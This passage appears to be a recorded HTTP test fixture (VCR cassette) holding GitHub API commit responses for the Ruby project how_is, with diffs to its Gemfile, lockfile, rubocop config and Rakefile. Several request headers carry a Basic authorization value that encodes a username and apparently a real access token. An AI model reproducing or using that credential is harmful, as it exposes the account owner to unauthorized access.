'{"sha":"d22d6fa70b0d952cf16c538498752659b97bfa3c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDIyZDZmYTcwYjBkOTUyY2YxNmM1Mzg0OTg3NTI2NTliOTdiZmEzYw==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-24T20:15:24Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-24T20:15:24Z"},"message":"Merge pull request #182 from olleolleolle/fix/pr-180-replacement\n\nGemfile: add pry as Git dep","tree":{"sha":"4f21d5250e2289fdb3c52bf13dff06d8572ca584","url":"https://api.github.com/repos/how-is/how_is/git/trees/4f21d5250e2289fdb3c52bf13dff06d8572ca584"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d22d6fa70b0d952cf16c538498752659b97bfa3c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d22d6fa70b0d952cf16c538498752659b97bfa3c","html_url":"https://github.com/how-is/how_is/commit/d22d6fa70b0d952cf16c538498752659b97bfa3c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d22d6fa70b0d952cf16c538498752659b97bfa3c/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"7402d28c9a5c99d00d6d7d7864ddde0d1ed839f4","url":"https://api.github.com/repos/how-is/how_is/commits/7402d28c9a5c99d00d6d7d7864ddde0d1ed839f4","html_url":"https://github.com/how-is/how_is/commit/7402d28c9a5c99d00d6d7d7864ddde0d1ed839f4"},{"sha":"248e758ddeddcd11720aad876f851b4091637f88","url":"https://api.github.com/repos/how-is/how_is/commits/248e758ddeddcd11720aad876f851b4091637f88","html_url":"https://github.com/how-is/how_is/commit/248e758ddeddcd11720aad876f851b4091637f88"}],"stats":{"total":29,"additions":27,"deletions":2},"files":[{"sha":"e593661fe98f422becc37a7922584b5b0ccbfba4","filename":"Gemfile","status":"modified","additions":11,"deletions":0,"changes":11,"blob_url":"https://github.com/how-is/how_is/blob/d22d6fa70b0d952cf16c538498752659b97bfa3c/Gemfile","raw_url":"https://github.com/how-is/how_is/raw/d22d6fa70b0d952cf16c538498752659b97bfa3c/Gemfile","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Gemfile?ref=d22d6fa70b0d952cf16c538498752659b97bfa3c","patch":"@@ -2,5 +2,16 @@\n \n source \"https://rubygems.org\"\n \n+# how_is only supports Ruby versions receiving general bug fixes (\"normal\n+# maintenance\"). This should be updated when a Ruby version goes into security\n+# maintenance. Ruby maintenance: https://www.ruby-lang.org/en/downloads/branches/\n+ruby \"~> 2.3\"\n+\n # Specify your gem''s dependencies in how_is.gemspec\n gemspec\n+\n+# TODO: move Pry back to gemspec, once a version is released that does not rely\n+# on an ancient version of Slop. Reason: gemspecs can not handle git deps.\n+group :development do\n+ gem \"pry\", git: \"https://github.com/pry/pry.git\"\n+end"},{"sha":"275ccdc1c50d36c038f345093ca42b0747b34e8e","filename":"Gemfile.lock","status":"modified","additions":16,"deletions":2,"changes":18,"blob_url":"https://github.com/how-is/how_is/blob/d22d6fa70b0d952cf16c538498752659b97bfa3c/Gemfile.lock","raw_url":"https://github.com/how-is/how_is/raw/d22d6fa70b0d952cf16c538498752659b97bfa3c/Gemfile.lock","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Gemfile.lock?ref=d22d6fa70b0d952cf16c538498752659b97bfa3c","patch":"@@ -1,3 +1,11 @@\n+GIT\n+ remote: https://github.com/pry/pry.git\n+ revision: beaad80d0c1c1bf81ee464cdf9ae9a9e9b38c1df\n+ specs:\n+ pry (0.10.4)\n+ coderay (~> 1.1.0)\n+ method_source (~> 0.8.1)\n+\n PATH\n remote: .\n specs:\n@@ -17,6 +25,7 @@ GEM\n tzinfo (~> 1.1)\n addressable (2.4.0)\n ast (2.3.0)\n+ coderay (1.1.1)\n concurrent-ruby (1.0.5)\n contracts (0.16.0)\n crack (0.4.3)\n@@ -55,8 +64,9 @@ GEM\n i18n (0.8.6)\n jwt (1.5.6)\n mayhaps (0.3.0)\n+ method_source (0.8.2)\n mime-types (2.99.3)\n- minitest (5.10.2)\n+ minitest (5.10.3)\n multi_json (1.12.1)\n multi_xml (0.6.0)\n multipart-post (2.0.0)\n@@ -128,12 +138,16 @@ DEPENDENCIES\n bundler (~> 1.11)\n github_changelog_generator\n how_is!\n+ pry!\n rake (~> 11.2)\n rspec (~> 3.5)\n rubocop (~> 0.49.1)\n timecop (~> 0.8.1)\n vcr (~> 3.0)\n webmock\n \n+RUBY VERSION\n+ ruby 2.3.3p222\n+\n BUNDLED WITH\n- 1.15.1\n+ 1.15.3"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:34 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/248e758ddeddcd11720aad876f851b4091637f88 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:34 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3398' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"0aee426796c9496b0d23d89098f33c59" Last-Modified: - Mon, 24 Jul 2017 19:47:00 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 3E6A:2170:26E227:4E09BC:5CC36AE2 body: encoding: ASCII-8BIT string: '{"sha":"248e758ddeddcd11720aad876f851b4091637f88","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MjQ4ZTc1OGRkZWRkY2QxMTcyMGFhZDg3NmY4NTFiNDA5MTYzN2Y4OA==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-24T19:47:00Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-24T19:47:00Z"},"message":"Gemfile: add pry as Git dep","tree":{"sha":"4f21d5250e2289fdb3c52bf13dff06d8572ca584","url":"https://api.github.com/repos/how-is/how_is/git/trees/4f21d5250e2289fdb3c52bf13dff06d8572ca584"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/248e758ddeddcd11720aad876f851b4091637f88","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/248e758ddeddcd11720aad876f851b4091637f88","html_url":"https://github.com/how-is/how_is/commit/248e758ddeddcd11720aad876f851b4091637f88","comments_url":"https://api.github.com/repos/how-is/how_is/commits/248e758ddeddcd11720aad876f851b4091637f88/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"7402d28c9a5c99d00d6d7d7864ddde0d1ed839f4","url":"https://api.github.com/repos/how-is/how_is/commits/7402d28c9a5c99d00d6d7d7864ddde0d1ed839f4","html_url":"https://github.com/how-is/how_is/commit/7402d28c9a5c99d00d6d7d7864ddde0d1ed839f4"}],"stats":{"total":29,"additions":27,"deletions":2},"files":[{"sha":"e593661fe98f422becc37a7922584b5b0ccbfba4","filename":"Gemfile","status":"modified","additions":11,"deletions":0,"changes":11,"blob_url":"https://github.com/how-is/how_is/blob/248e758ddeddcd11720aad876f851b4091637f88/Gemfile","raw_url":"https://github.com/how-is/how_is/raw/248e758ddeddcd11720aad876f851b4091637f88/Gemfile","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Gemfile?ref=248e758ddeddcd11720aad876f851b4091637f88","patch":"@@ -2,5 +2,16 @@\n \n source \"https://rubygems.org\"\n \n+# how_is only supports Ruby versions receiving general bug fixes (\"normal\n+# maintenance\"). This should be updated when a Ruby version goes into security\n+# maintenance. Ruby maintenance: https://www.ruby-lang.org/en/downloads/branches/\n+ruby \"~> 2.3\"\n+\n # Specify your gem''s dependencies in how_is.gemspec\n gemspec\n+\n+# TODO: move Pry back to gemspec, once a version is released that does not rely\n+# on an ancient version of Slop. Reason: gemspecs can not handle git deps.\n+group :development do\n+ gem \"pry\", git: \"https://github.com/pry/pry.git\"\n+end"},{"sha":"275ccdc1c50d36c038f345093ca42b0747b34e8e","filename":"Gemfile.lock","status":"modified","additions":16,"deletions":2,"changes":18,"blob_url":"https://github.com/how-is/how_is/blob/248e758ddeddcd11720aad876f851b4091637f88/Gemfile.lock","raw_url":"https://github.com/how-is/how_is/raw/248e758ddeddcd11720aad876f851b4091637f88/Gemfile.lock","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Gemfile.lock?ref=248e758ddeddcd11720aad876f851b4091637f88","patch":"@@ -1,3 +1,11 @@\n+GIT\n+ remote: https://github.com/pry/pry.git\n+ revision: beaad80d0c1c1bf81ee464cdf9ae9a9e9b38c1df\n+ specs:\n+ pry (0.10.4)\n+ coderay (~> 1.1.0)\n+ method_source (~> 0.8.1)\n+\n PATH\n remote: .\n specs:\n@@ -17,6 +25,7 @@ GEM\n tzinfo (~> 1.1)\n addressable (2.4.0)\n ast (2.3.0)\n+ coderay (1.1.1)\n concurrent-ruby (1.0.5)\n contracts (0.16.0)\n crack (0.4.3)\n@@ -55,8 +64,9 @@ GEM\n i18n (0.8.6)\n jwt (1.5.6)\n mayhaps (0.3.0)\n+ method_source (0.8.2)\n mime-types (2.99.3)\n- minitest (5.10.2)\n+ minitest (5.10.3)\n multi_json (1.12.1)\n multi_xml (0.6.0)\n multipart-post (2.0.0)\n@@ -128,12 +138,16 @@ DEPENDENCIES\n bundler (~> 1.11)\n github_changelog_generator\n how_is!\n+ pry!\n rake (~> 11.2)\n rspec (~> 3.5)\n rubocop (~> 0.49.1)\n timecop (~> 0.8.1)\n vcr (~> 3.0)\n webmock\n \n+RUBY VERSION\n+ ruby 2.3.3p222\n+\n BUNDLED WITH\n- 1.15.1\n+ 1.15.3"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:34 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/7402d28c9a5c99d00d6d7d7864ddde0d1ed839f4 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:35 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3397' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"092114fb63ebcb211a2212a5065b26de" Last-Modified: - Sun, 16 Jul 2017 19:43:14 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 68FA:5206:2AAC07:54F0BD:5CC36AE2 body: encoding: ASCII-8BIT string: '{"sha":"7402d28c9a5c99d00d6d7d7864ddde0d1ed839f4","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzQwMmQyOGM5YTVjOTlkMDBkNmQ3ZDc4NjRkZGRlMGQxZWQ4MzlmNA==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-16T19:43:14Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-16T19:43:14Z"},"message":"Merge pull request #179 from olleolleolle/fix/params-file-for-github_changelog_generator\n\nAdd config file for github_changelog_generator","tree":{"sha":"280d6471879a21ccdf6e396331f1641a4a292a6a","url":"https://api.github.com/repos/how-is/how_is/git/trees/280d6471879a21ccdf6e396331f1641a4a292a6a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/7402d28c9a5c99d00d6d7d7864ddde0d1ed839f4","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/7402d28c9a5c99d00d6d7d7864ddde0d1ed839f4","html_url":"https://github.com/how-is/how_is/commit/7402d28c9a5c99d00d6d7d7864ddde0d1ed839f4","comments_url":"https://api.github.com/repos/how-is/how_is/commits/7402d28c9a5c99d00d6d7d7864ddde0d1ed839f4/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"d2311beacc8380e7f7c3ca37180ba5deb7ed9181","url":"https://api.github.com/repos/how-is/how_is/commits/d2311beacc8380e7f7c3ca37180ba5deb7ed9181","html_url":"https://github.com/how-is/how_is/commit/d2311beacc8380e7f7c3ca37180ba5deb7ed9181"},{"sha":"8a0ffc68c87f93dc82254dd704e7197acb6f792e","url":"https://api.github.com/repos/how-is/how_is/commits/8a0ffc68c87f93dc82254dd704e7197acb6f792e","html_url":"https://github.com/how-is/how_is/commit/8a0ffc68c87f93dc82254dd704e7197acb6f792e"}],"stats":{"total":3,"additions":3,"deletions":0},"files":[{"sha":"5626884acae09ef2e57949ad18c2c50bdd863dbf","filename":".github_changelog_generator","status":"added","additions":3,"deletions":0,"changes":3,"blob_url":"https://github.com/how-is/how_is/blob/7402d28c9a5c99d00d6d7d7864ddde0d1ed839f4/.github_changelog_generator","raw_url":"https://github.com/how-is/how_is/raw/7402d28c9a5c99d00d6d7d7864ddde0d1ed839f4/.github_changelog_generator","contents_url":"https://api.github.com/repos/how-is/how_is/contents/.github_changelog_generator?ref=7402d28c9a5c99d00d6d7d7864ddde0d1ed839f4","patch":"@@ -0,0 +1,3 @@\n+user=how-is\n+project=how_is\n+"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:35 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/8a0ffc68c87f93dc82254dd704e7197acb6f792e body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:35 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3396' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"10f99a38290b65cb3bd0a5dd6a13bcca" Last-Modified: - Sun, 16 Jul 2017 19:40:20 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 63E5:53EE:146DC5:31CE33:5CC36AE3 body: encoding: ASCII-8BIT string: '{"sha":"8a0ffc68c87f93dc82254dd704e7197acb6f792e","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OGEwZmZjNjhjODdmOTNkYzgyMjU0ZGQ3MDRlNzE5N2FjYjZmNzkyZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-16T19:40:20Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-16T19:40:20Z"},"message":"Merge branch ''master'' into fix/params-file-for-github_changelog_generator","tree":{"sha":"280d6471879a21ccdf6e396331f1641a4a292a6a","url":"https://api.github.com/repos/how-is/how_is/git/trees/280d6471879a21ccdf6e396331f1641a4a292a6a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/8a0ffc68c87f93dc82254dd704e7197acb6f792e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/8a0ffc68c87f93dc82254dd704e7197acb6f792e","html_url":"https://github.com/how-is/how_is/commit/8a0ffc68c87f93dc82254dd704e7197acb6f792e","comments_url":"https://api.github.com/repos/how-is/how_is/commits/8a0ffc68c87f93dc82254dd704e7197acb6f792e/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"cc93e409ebcc3c008312ffb0421a2a660760ff2c","url":"https://api.github.com/repos/how-is/how_is/commits/cc93e409ebcc3c008312ffb0421a2a660760ff2c","html_url":"https://github.com/how-is/how_is/commit/cc93e409ebcc3c008312ffb0421a2a660760ff2c"},{"sha":"d2311beacc8380e7f7c3ca37180ba5deb7ed9181","url":"https://api.github.com/repos/how-is/how_is/commits/d2311beacc8380e7f7c3ca37180ba5deb7ed9181","html_url":"https://github.com/how-is/how_is/commit/d2311beacc8380e7f7c3ca37180ba5deb7ed9181"}],"stats":{"total":541,"additions":291,"deletions":250},"files":[{"sha":"473b6c20753a67830b96c175d5d1236fe28844b0","filename":".rubocop.yml","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/how-is/how_is/blob/8a0ffc68c87f93dc82254dd704e7197acb6f792e/.rubocop.yml","raw_url":"https://github.com/how-is/how_is/raw/8a0ffc68c87f93dc82254dd704e7197acb6f792e/.rubocop.yml","contents_url":"https://api.github.com/repos/how-is/how_is/contents/.rubocop.yml?ref=8a0ffc68c87f93dc82254dd704e7197acb6f792e","patch":"@@ -1,3 +1,5 @@\n+inherit_from: .rubocop_todo.yml\n+\n AllCops:\n DisplayCopNames: true\n DisplayStyleGuide: true\n@@ -155,10 +157,8 @@ Layout/SpaceInsideHashLiteralBraces:\n EnforcedStyle: no_space\n \n # Use double quotes everywhere by default.\n-# TODO: Enable Style/StringLiterals cop. Disabled due to number of violations.\n Style/StringLiterals:\n- Enabled: false\n- #EnforcedStyle: double_quotes\n+ EnforcedStyle: double_quotes\n \n # TODO: Maybe make it so you have to do [:foo, :bar] not %i[foo bar]?\n Style/SymbolArray:"},{"sha":"0bb965a7fbce444e963f79bf461b2d808b729e6e","filename":".rubocop_todo.yml","status":"added","additions":21,"deletions":0,"changes":21,"blob_url":"https://github.com/how-is/how_is/blob/8a0ffc68c87f93dc82254dd704e7197acb6f792e/.rubocop_todo.yml","raw_url":"https://github.com/how-is/how_is/raw/8a0ffc68c87f93dc82254dd704e7197acb6f792e/.rubocop_todo.yml","contents_url":"https://api.github.com/repos/how-is/how_is/contents/.rubocop_todo.yml?ref=8a0ffc68c87f93dc82254dd704e7197acb6f792e","patch":"@@ -0,0 +1,21 @@\n+# This configuration was generated by\n+# `rubocop --auto-gen-config`\n+# on 2017-07-16 19:09:46 +0200 using RuboCop version 0.49.1.\n+# The point is for the user to remove these configuration records\n+# one by one as the offenses are removed from the code base.\n+# Note that changes in the inspected code, or installation of new\n+# versions of RuboCop, may require this file to be generated again.\n+\n+# Offense count: 8\n+Metrics/AbcSize:\n+ Max: 31\n+\n+# Offense count: 2\n+# Configuration parameters: CountComments.\n+Metrics/ClassLength:\n+ Max: 117\n+\n+# Offense count: 3\n+# Configuration parameters: CountComments.\n+Metrics/MethodLength:\n+ Max: 31"},{"sha":"011edb596c0fbb562bb19230e677429917231511","filename":"Gemfile","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/8a0ffc68c87f93dc82254dd704e7197acb6f792e/Gemfile","raw_url":"https://github.com/how-is/how_is/raw/8a0ffc68c87f93dc82254dd704e7197acb6f792e/Gemfile","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Gemfile?ref=8a0ffc68c87f93dc82254dd704e7197acb6f792e","patch":"@@ -1,6 +1,6 @@\n # frozen_string_literal: true\n \n-source ''https://rubygems.org''\n+source \"https://rubygems.org\"\n \n # Specify your gem''s dependencies in how_is.gemspec\n gemspec"},{"sha":"b2be70a1b6e5cecc72d1d533607ebecb5155d624","filename":"Rakefile","status":"modified","additions":15,"deletions":15,"changes":30,"blob_url":"https://github.com/how-is/how_is/blob/8a0ffc68c87f93dc82254dd704e7197acb6f792e/Rakefile","raw_url":"https://github.com/how-is/how_is/raw/8a0ffc68c87f93dc82254dd704e7197acb6f792e/Rakefile","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Rakefile?ref=8a0ffc68c87f93dc82254dd704e7197acb6f792e","patch":"@@ -1,26 +1,26 @@\n # frozen_string_literal: true\n \n-require ''bundler/gem_tasks''\n-require ''rspec/core/rake_task''\n-require ''timecop''\n-require ''./spec/vcr_helper.rb''\n-require ''how_is''\n+require \"bundler/gem_tasks\"\n+require \"rspec/core/rake_task\"\n+require \"timecop\"\n+require \"./spec/vcr_helper.rb\"\n+require \"how_is\"\n \n RSpec::Core::RakeTask.new(:spec) do |t|\n # Warning.warn() was added in Ruby 2.4.0, so don''t use -w on older versions.\n- t.ruby_opts = ''-w -r./spec/capture_warnings.rb'' if RUBY_VERSION >= ''2.4.0''\n+ t.ruby_opts = \"-w -r./spec/capture_warnings.rb\" if RUBY_VERSION >= \"2.4.0\"\n end\n \n task :default => :spec\n \n task :generate_changelog do\n- sh ''github_changelog_generator''\n+ sh \"github_changelog_generator\"\n end\n \n # Helper functions used later in the Rakefile.\n class HelperFunctions\n def self.freeze_time(&_block)\n- date = DateTime.parse(''2016-11-01'').new_offset(0)\n+ date = DateTime.parse(\"2016-11-01\").new_offset(0)\n Timecop.freeze(date) do\n yield\n end\n@@ -35,36 +35,36 @@ class HelperFunctions\n format: format,\n }\n \n- cassette = repository.tr(''/'', 